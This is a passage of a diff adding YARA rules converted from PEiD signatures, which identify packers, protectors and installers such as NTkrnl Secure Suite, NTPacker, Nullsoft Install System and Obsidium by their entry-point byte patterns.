+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 8D ?? ?? ?? FF 80 39 01 0F 84 42 02 00 00 C6 01 01 8B C5 2B 85 ?? ?? ?? FF 89 85 ?? ?? ?? FF 01 85 ?? ?? ?? FF 8D B5 ?? ?? ?? FF 01 06 55 56 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? ?? FF 85 C0 0F 84 69 03 00 00 89 85 ?? ?? ?? FF E8 00 00 00 00 5B B9 67 03 00 00 03 D9 50 53 E8 B0 02 00 00 5E 5D 8B 36 8B FD 03 BD ?? ?? ?? FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 34 01 13 8B 33 03 7B 04 57 51 53 FF B5 ?? ?? ?? FF FF B5 ?? ?? ?? FF 8B D6 8B CF 8B 85 ?? ?? ?? FF 05 AA 05 00 00 FF D0 5B 59 5F 83 F9 00 74 05 83 C3 08 EB C7 68 00 80 00 00 6A 00 FF B5 ?? ?? ?? FF FF 95 ?? ?? ?? FF 8D B5 ?? ?? ?? FF 8B 4E 08 8D 56 10 8B 36 8B FE 83 F9 00 74 3F 8A 07 47 2C E8 3C 01 77 F7 8B 07 80 7A 01 00 74 14 8A 1A 38 1F 75 E9 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 EB 0A 8A 5F 04 86 C4 C1 C0 10 86 C4 2B C7 03 C6 89 07 83 C7 05 80 EB E8 8B C3 E2 C6 E8 3A 01 00 00 8D 8D}
+    condition:
+        $a
+}
+
+rule PEiD_01335_NTkrnl_Secure_Suite____NTkrnl_Team__Blue__
+{
+    meta:
+        description = "[NTkrnl Secure Suite -> NTkrnl Team (Blue)]"
+        ep_only = "false"
+    strings:
+        $a = {68 29 19 43 00 E8 01 00 00 00 C3 C3 A2 A9 61 4E A5 0E C7 A6 59 90 6E 4D 4C DB 36 46 FB 6E C4 45 A3 C2 2E 0E 41 59 1A 50 17 39 62 4D B8 61 24 8E CF D1 0E 9E 7A 66 C0 8D 6B 9C 52 7E 96 46 80 AF}
+    condition:
+        $a
+}
+
+rule PEiD_01336_NTkrnl_Secure_Suite____NTkrnl_team__h__
+{
+    meta:
+        description = "[NTkrnl Secure Suite -> NTkrnl team (h)]"
+        ep_only = "true"
+    strings:
+        $a = {34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73}
+    condition:
+        $a
+}
+
+rule PEiD_01337_NTkrnl_Secure_Suite____NTkrnl_team__h__
+{
+    meta:
+        description = "[NTkrnl Secure Suite -> NTkrnl team (h)]"
+        ep_only = "false"
+    strings:
+        $a = {34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 79}
+    condition:
+        $a
+}
+
+rule PEiD_01338_NTkrnl_Secure_Suite_0_1_0_15____NTkrnl_Software_
+{
+    meta:
+        description = "[NTkrnl Secure Suite 0.1-0.15 -> NTkrnl Software]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74}
+    condition:
+        $a
+}
+
+rule PEiD_01339_NTkrnl_Secure_Suite_V0_1____NTkrnl_Software___Sign_by_fly_
+{
+    meta:
+        description = "[NTkrnl Secure Suite V0.1 -> NTkrnl Software ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01340_NTkrnl_Secure_Suite_V0_1_DLL____NTkrnl_Software___Sign_by_fly_
+{
+    meta:
+        description = "[NTkrnl Secure Suite V0.1 DLL -> NTkrnl Software ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 8B 44 24 04 05 ?? ?? ?? ?? 50 E8 01 00 00 00 C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01341_NTKrnlPacker____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[NTKrnlPacker -> Ashkbiz Danehkar]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74}
+    condition:
+        $a
+}
+
+rule PEiD_01342_NTPacker_1_0____ErazerZ_
+{
+    meta:
+        description = "[NTPacker 1.0 -> ErazerZ]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 E0 53 33 C0 89 45 E0 89 45 E4 89 45 E8 89 45 EC B8 ?? ?? 40 00 E8 ?? ?? FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 8D 4D EC BA ?? ?? 40 00 A1 ?? ?? 40 00 E8 ?? FC FF FF 8B 55 EC B8 ?? ?? 40 00 E8 ?? ?? FF FF 8D 4D E8 BA ?? ?? 40 00 A1 ?? ?? 40 00 E8 ?? FE FF FF 8B 55 E8 B8 ?? ?? 40 00 E8 ?? ?? FF FF B8 ?? ?? 40 00 E8 ?? FB FF FF 8B D8 A1 ?? ?? 40 00 BA ?? ?? 40 00 E8 ?? ?? FF FF 75 26 8B D3 A1 ?? ?? 40 00 E8 ?? ?? FF FF 84 C0 75 2A 8D 55 E4 33 C0 E8 ?? ?? FF FF 8B 45 E4 8B D3 E8 ?? ?? FF FF EB 14 8D 55 E0 33 C0 E8 ?? ?? FF FF 8B 45 E0 8B D3 E8 ?? ?? FF FF 6A 00 E8 ?? ?? FF FF 33 C0 5A 59 59 64 89 10 68 ?? ?? 40 00 8D 45 E0 BA 04 00 00 00 E8 ?? ?? FF FF C3 E9 ?? ?? FF FF EB EB 5B E8 ?? ?? FF FF 00 00 00 FF FF FF FF 01 00 00 00 25 00 00 00 FF FF FF FF 01 00 00 00 5C 00 00 00 FF FF FF FF 06 00 00 00 53 45 52 56 45 52 00 00 FF FF FF FF 01 00 00 00 31}
+    condition:
+        $a
+}
+rule PEiD_01343_NTPacker_V2_X____ErazerZ___Sign_by_fly_
+{
+    meta:
+        description = "[NTPacker V2.X -> ErazerZ ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {4B 57 69 6E 64 6F 77 73 00 10 55 54 79 70 65 73 00 00 3F 75 6E 74 4D 61 69 6E 46 75 6E 63 74 69 6F 6E 73 00 00 47 75 6E 74 42 79 70 61 73 73 00 00 B7 61 50 4C 69 62 75 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01344_Nullsoft_Install_System_1_xx_
+{
+    meta:
+        description = "[Nullsoft Install System 1.xx]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 2C 53 56 33 F6 57 56 89 75 DC 89 75 F4 BB A4 9E 40 00 FF 15 60 70 40 00 BF C0 B2 40 00 68 04 01 00 00 57 50 A3 AC B2 40 00 FF 15 4C 70 40 00 56 56 6A 03 56 6A 01 68 00 00 00 80 57 FF 15 9C 70 40 00 8B F8 83 FF FF 89 7D EC 0F 84 C3 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01345_Nullsoft_Install_System_1_xx_
+{
+    meta:
+        description = "[Nullsoft Install System 1.xx]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 20 71 40 00 05 E8 03 00 00 BE 60 FD 41 00 89 44 24 10 B3 20 FF 15 28 70 40 00 68 00 04 00 00 FF 15 28 71 40 00 50 56 FF 15 08 71 40 00 80 3D 60 FD 41 00 22 75 08 80 C3 02 BE 61 FD 41 00 8A 06 8B 3D F0 71 40 00 84 C0 74 0F 3A C3 74}
+    condition:
+        $a
+}
+
+rule PEiD_01346_Nullsoft_Install_System_2_0_RC2_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0 RC2]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 10 53 55 56 57 C7 44 24 14 70 92 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01347_Nullsoft_Install_System_2_06_
+{
+    meta:
+        description = "[Nullsoft Install System 2.06]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 20 53 55 56 33 DB 57 89 5C 24 18 C7 44 24 10 ?? ?? ?? ?? C6 44 24 14 20 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 02 23 00 00 BE ?? ?? ?? ?? 56}
+    condition:
+        $a
+}
+
+rule PEiD_01348_Nullsoft_Install_System_2_0_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 55 56 57 C7 44 24 10 70 92 40 00 33 DB C6 44 24 14 20 FF 15 2C 70 40 00 53 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 2D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01349_Nullsoft_Install_System_2_0_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 0C 53 55 56 57 C7 44 24 10 ?? ?? ?? ?? 33 DB C6 44 24 14 20 FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 56 57 A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 8D FF FF FF 8B 2D ?? ?? ?? ?? 85 C0}
+    condition:
+        $a
+}
+
+rule PEiD_01350_Nullsoft_Install_System_2_0a0_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0a0]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 B4 10 40 00 05 E8 03 00 00 BE E0 E3 41 00 89 44 24 10 B3 20 FF 15 28 10 40 00 68 00 04 00 00 FF 15 14 11 40 00 50 56 FF 15 10 11 40 00 80 3D E0 E3 41 00 22 75 08 80 C3 02 BE E1 E3 41 00 8A 06 8B 3D 14 12 40 00 84 C0 74 19 3A C3 74}
+    condition:
+        $a
+}
+
+rule PEiD_01351_Nullsoft_Install_System_2_0b4_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0b4]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 10 53 55 56 57 C7 44 24 14 F0 91 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 88 72 40 00 BE 00 D4 42 00 BF 00 04 00 00 56 57 A3 60 6F 42 00 FF 15 C4 70 40 00 E8 9F FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 60 71 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01352_Nullsoft_Install_System_2_0b4_
+{
+    meta:
+        description = "[Nullsoft Install System 2.0b4]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 14 83 64 24 04 00 53 55 56 57 C6 44 24 13 20 FF 15 30 70 40 00 BE 00 20 7A 00 BD 00 04 00 00 56 55 FF 15 C4 70 40 00 56 E8 7D 2B 00 00 8B 1D 8C 70 40 00 6A 00 56 FF D3 BF 80 92 79 00 56 57 E8 15 26 00 00 85 C0 75 38 68 F8 91 40 00 55 56 FF 15 60 71}
+    condition:
+        $a
+}
+rule PEiD_01353_Nullsoft_Install_System_v1_98_
+{
+    meta:
+        description = "[Nullsoft Install System v1.98]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 2C 81 40}
+    condition:
+        $a
+}
+
+rule PEiD_01354_Nullsoft_Install_System_v1_xx_
+{
+    meta:
+        description = "[Nullsoft Install System v1.xx]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 2C 53 56 33 F6 57 56 89 75 DC 89 75 F4 BB A4 9E 40 00 FF 15 60 70 40 00 BF C0 B2 40 00 68 04 01 00 00 57 50 A3 AC B2 40 00 FF 15 4C 70 40 00 56 56 6A 03 56 6A 01 68 00 00 00 80 57 FF 15 9C 70 40 00 8B F8 83 FF FF 89 7D EC 0F 84 C3 00 00 00 56 56 56 89 75 E4 E8 C1 C9 FF FF 8B 1D 68 70 40 00 83 C4 0C 89 45 E8 89 75 F0 6A 02 56 6A FC 57 FF D3 89 45 FC 8D 45 F8 56 50 8D 45 E4 6A 04 50 57 FF 15 48 70 40 00 85 C0 75 07 BB 7C 9E 40 00 EB 7A 56 56 56 57 FF D3 39 75 FC 7E 62 BF 74 A2 40 00 B8 00 10 00 00 39 45 FC 7F 03 8B 45 FC 8D 4D F8 56 51 50 57 FF 75 EC FF 15 48 70 40 00 85 C0 74 5A FF 75 F8 57 FF 75 E8 E8 4D C9 FF FF 89 45 E8 8B 45 F8 29 45 FC 83 C4 0C 39 75 F4 75 11 57 E8 D3 F9 FF FF 85 C0 59 74 06 8B 45 F0 89 45 F4 8B 45 F8 01 45 F0 39 75 FC}
+    condition:
+        $a
+}
+
+rule PEiD_01355_Nullsoft_Install_System_v1_xx_
+{
+    meta:
+        description = "[Nullsoft Install System v1.xx]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 20 71 40 00 05 E8 03 00 00 BE 60 FD 41 00 89 44 24 10 B3 20 FF 15 28 70 40 00 68 00 04 00 00 FF 15 28 71 40 00 50 56 FF 15 08 71 40 00 80 3D 60 FD 41 00 22 75 08 80 C3 02 BE 61 FD 41 00 8A 06 8B 3D F0 71 40 00 84 C0 74 0F 3A C3 74 0B 56 FF D7 8B F0 8A 06 84 C0 75 F1 80 3E 00 74 05 56 FF D7 8B F0 89 74 24 14 80 3E 20 75 07 56 FF D7 8B F0 EB F4 80 3E 2F 75}
+    condition:
+        $a
+}
+
+rule PEiD_01356_Nullsoft_Install_System_v2_0_RC2_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0 RC2]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 10 53 55 56 57 C7 44 24 14 70 92 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00 68 68 92 40 00 56 FF D3 E8 6A FF FF FF 85 C0 0F 84 59 01 00 00 BE 20 E4 42 00 56 FF 15 68 70 40 00 68 5C 92 40 00 56 E8 B9 28 00 00 57 FF 15 BC 70 40 00 BE 00 40 43 00 50 56 FF 15 B8 70 40 00 6A 00 FF 15 44 71 40 00 80 3D 00 40 43 00 22 A3 20 EC 42 00 8B C6 75 0A C6 44 24 13 22 B8 01 40 43 00 8B 3D 18 72 40 00 EB 09 3A 4C 24 13 74 09 50 FF D7 8A 08 84 C9 75 F1 50 FF D7 8B F0 89 74 24 1C EB 05 56 FF D7 8B F0 80 3E 20 74 F6 80 3E 2F 75 44 46 80 3E 53 75 0C 8A 46 01 0C 20 3C 20 75 03 83 CD 02 81 3E 4E 43 52}
+    condition:
+        $a
+}
+
+rule PEiD_01357_Nullsoft_Install_System_v2_0_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 55 56 57 C7 44 24 10 70 92 40 00 33 DB C6 44 24 14 20 FF 15 2C 70 40 00 53 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 2D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00 68 68 92 40 00 56 FF D5 E8 6A FF FF FF 85 C0 0F 84 57 01 00 00 BE 20 E4 42 00 56 FF 15 68 70 40 00 68 5C 92 40 00 56 E8 9C 28 00 00 57 FF 15 BC 70 40 00 BE 00 40 43 00 50 56 FF 15 B8 70 40 00 6A 00 FF 15 44 71 40 00 80 3D 00 40 43 00 22 A3 20 EC 42 00 75 0A C6 44 24 14 22 BE 01 40 43 00 FF 74 24 14 56 E8 8A 23 00 00 50 FF 15 80 71 40 00 8B F8 89 7C 24 18 EB 61 80 F9 20 75 06 40 80 38 20 74 FA 80 38 22 C6 44 24 14 20 75 06 40 C6 44 24 14 22 80 38 2F 75 31 40 80 38 53 75 0E 8A 48 01 80 C9 20 80 F9 20 75 03}
+    condition:
+        $a
+}
+
+rule PEiD_01358_Nullsoft_Install_System_v2_0a0_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0a0]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 B4 10 40 00 05 E8 03 00 00 BE E0 E3 41 00 89 44 24 10 B3 20 FF 15 28 10 40 00 68 00 04 00 00 FF 15 14 11 40 00 50 56 FF 15 10 11 40 00 80 3D E0 E3 41 00 22 75 08 80 C3 02 BE E1 E3 41 00 8A 06 8B 3D 14 12 40 00 84 C0 74 19 3A C3 74 0B 56 FF D7 8B F0 8A 06 84 C0 75 F1 80 3E 00}
+    condition:
+        $a
+}
+
+rule PEiD_01359_Nullsoft_Install_System_v2_0b2__v2_0b3_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0b2, v2.0b3]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 0C 53 55 56 57 FF 15 ?? 70 40 00 8B 35 ?? 92 40 00 05 E8 03 00 00 89 44 24 14 B3 20 FF 15 2C 70 40 00 BF 00 04 00 00 68 ?? ?? ?? 00 57 FF 15 ?? ?? 40 00 57 FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_01360_Nullsoft_Install_System_v2_0b4_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0b4]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 10 53 55 56 57 C7 44 24 14 F0 91 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 88 72 40 00 BE 00 D4 42 00 BF 00 04 00 00 56 57 A3 60 6F 42 00 FF 15 C4 70 40 00 E8 9F FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 60 71 40 00 68 E4 91 40 00 56 FF D3 E8 7C FF FF FF 85 C0 0F 84 59 01 00 00 BE E0 66 42 00 56 FF 15 68 70 40 00 68 D8 91 40 00 56 E8 FE 27 00 00 57 FF 15 BC 70 40 00 BE 00 C0 42 00 50 56 FF 15 B8 70 40 00 6A 00 FF 15 44 71 40 00 80 3D 00 C0 42 00 22 A3 E0 6E 42 00 8B C6 75 0A C6 44 24 13 22 B8 01 C0 42 00 8B 3D 10 72 40 00 EB 09 3A 4C 24 13 74 09 50 FF D7 8A 08 84 C9 75 F1 50 FF D7 8B F0 89 74 24 1C EB 05 56 FF D7 8B F0 80 3E 20 74 F6 80 3E 2F 75 44 46 80 3E 53 75 0C 8A 46 01 0C 20 3C 20 75 03 83 CD 02 81 3E 4E 43 52}
+    condition:
+        $a
+}
+
+rule PEiD_01361_Nullsoft_Install_System_v2_0b4_
+{
+    meta:
+        description = "[Nullsoft Install System v2.0b4]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 14 83 64 24 04 00 53 55 56 57 C6 44 24 13 20 FF 15 30 70 40 00 BE 00 20 7A 00 BD 00 04 00 00 56 55 FF 15 C4 70 40 00 56 E8 7D 2B 00 00 8B 1D 8C 70 40 00 6A 00 56 FF D3 BF 80 92 79 00 56 57 E8 15 26 00 00 85 C0 75 38 68 F8 91 40 00 55 56 FF 15 60 71 40 00 03 C6 50 E8 78 29 00 00 56 E8 47 2B 00 00 6A 00 56 FF D3 56 57 E8 EA 25 00 00 85 C0 75 0D C7 44 24 14 58 91 40 00 E9 72 02 00 00 57 FF 15 24 71 40 00 68 EC 91 40 00 57 E8 43}
+    condition:
+        $a
+}
+
+rule PEiD_01362_Nullsoft_PiMP_Install_System_1_x_
+{
+    meta:
+        description = "[Nullsoft PiMP Install System 1.x]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 ?? ?? 40 00 05 E8 03 00 00 BE ?? ?? ?? 00 89 44 24 10 B3 20 FF 15 28 ?? 40 00 68 00 04 00 00 FF 15 ?? ?? 40 00 50 56 FF 15 ?? ?? 40 00 80 3D ?? ?? ?? 00 22 75 08 80 C3 02 BE ?? ?? ?? 00 8A 06 8B 3D ?? ?? 40 00 84 C0 74 ?? 3A C3 74}
+    condition:
+        $a
+}
+
+rule PEiD_01363_Nullsoft_PIMP_Install_System_v1_3x_
+{
+    meta:
+        description = "[Nullsoft PIMP Install System v1.3x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC ?? ?? 00 00 56 57 6A ?? BE ?? ?? ?? ?? 59 8D BD}
+    condition:
+        $a
+}
+
+rule PEiD_01364_Nullsoft_PiMP_Install_System_v1_x_
+{
+    meta:
+        description = "[Nullsoft PiMP Install System v1.x]"
+        ep_only = "false"
+    strings:
+        $a = {83 EC 0C 53 56 57 FF 15 ?? ?? 40 00 05 E8 03 00 00 BE ?? ?? ?? 00 89 44 24 10 B3 20 FF 15 28 ?? 40 00 68 00 04 00 00 FF 15 ?? ?? 40 00 50 56 FF 15 ?? ?? 40 00 80 3D ?? ?? ?? 00 22 75 08 80 C3 02 BE ?? ?? ?? 00 8A 06 8B 3D ?? ?? 40 00 84 C0 74 ?? 3A C3 74 0B 56 FF D7 8B F0 8A 06 84 C0 75 F1 80 3E 00 74 05 56 FF D7 8B F0 89 74 24 14 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 3E 2F}
+    condition:
+        $a
+}
+
+rule PEiD_01365_Nullsoft_PIMP_Install_System_v1_x_
+{
+    meta:
+        description = "[Nullsoft PIMP Install System v1.x]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 5C 53 55 56 57 FF 15 ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_01366_NX_PE_Packer_v1_0_
+{
+    meta:
+        description = "[NX PE Packer v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {FF 60 FF CA FF 00 BA DC 0D E0 40 00 50 00 60 00 70 00 80 00}
+    condition:
+        $a
+}
+
+rule PEiD_01367_Obsidium_1_2_0_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.2.0.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 3F 1E 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01368_Obsidium_1_2_5_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.2.5.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01369_Obsidium_1_2_5_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.2.5.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01370_Obsidium_1_2_5_8____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.2.5.8 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0}
+    condition:
+        $a
+}
+
+rule PEiD_01371_Obsidium_1_2_5_8____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.2.5.8 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? EB 01 ?? 58 EB 01 ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 01 ?? E8 7B 21 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01372_Obsidium_1_3_0_0____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium 1.3.0.0 -> Obsidium Software (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B}
+    condition:
+        $a
+}
+
+rule PEiD_01373_Obsidium_1_3_0_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 22 EB 02 ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 01 ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 01 ?? E8 D5 FF FF FF EB 02 ?? ?? EB 03 ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 02 ?? ?? E8 47 26 00 00}
+    condition:
+        $a
+}
+rule PEiD_01374_Obsidium_1_3_0_13____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.13 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 26 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 21 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 01 ?? 33 C0 EB 03}
+    condition:
+        $a
+}
+
+rule PEiD_01375_Obsidium_1_3_0_13____Obsidium_Software_
+{
+    meta:
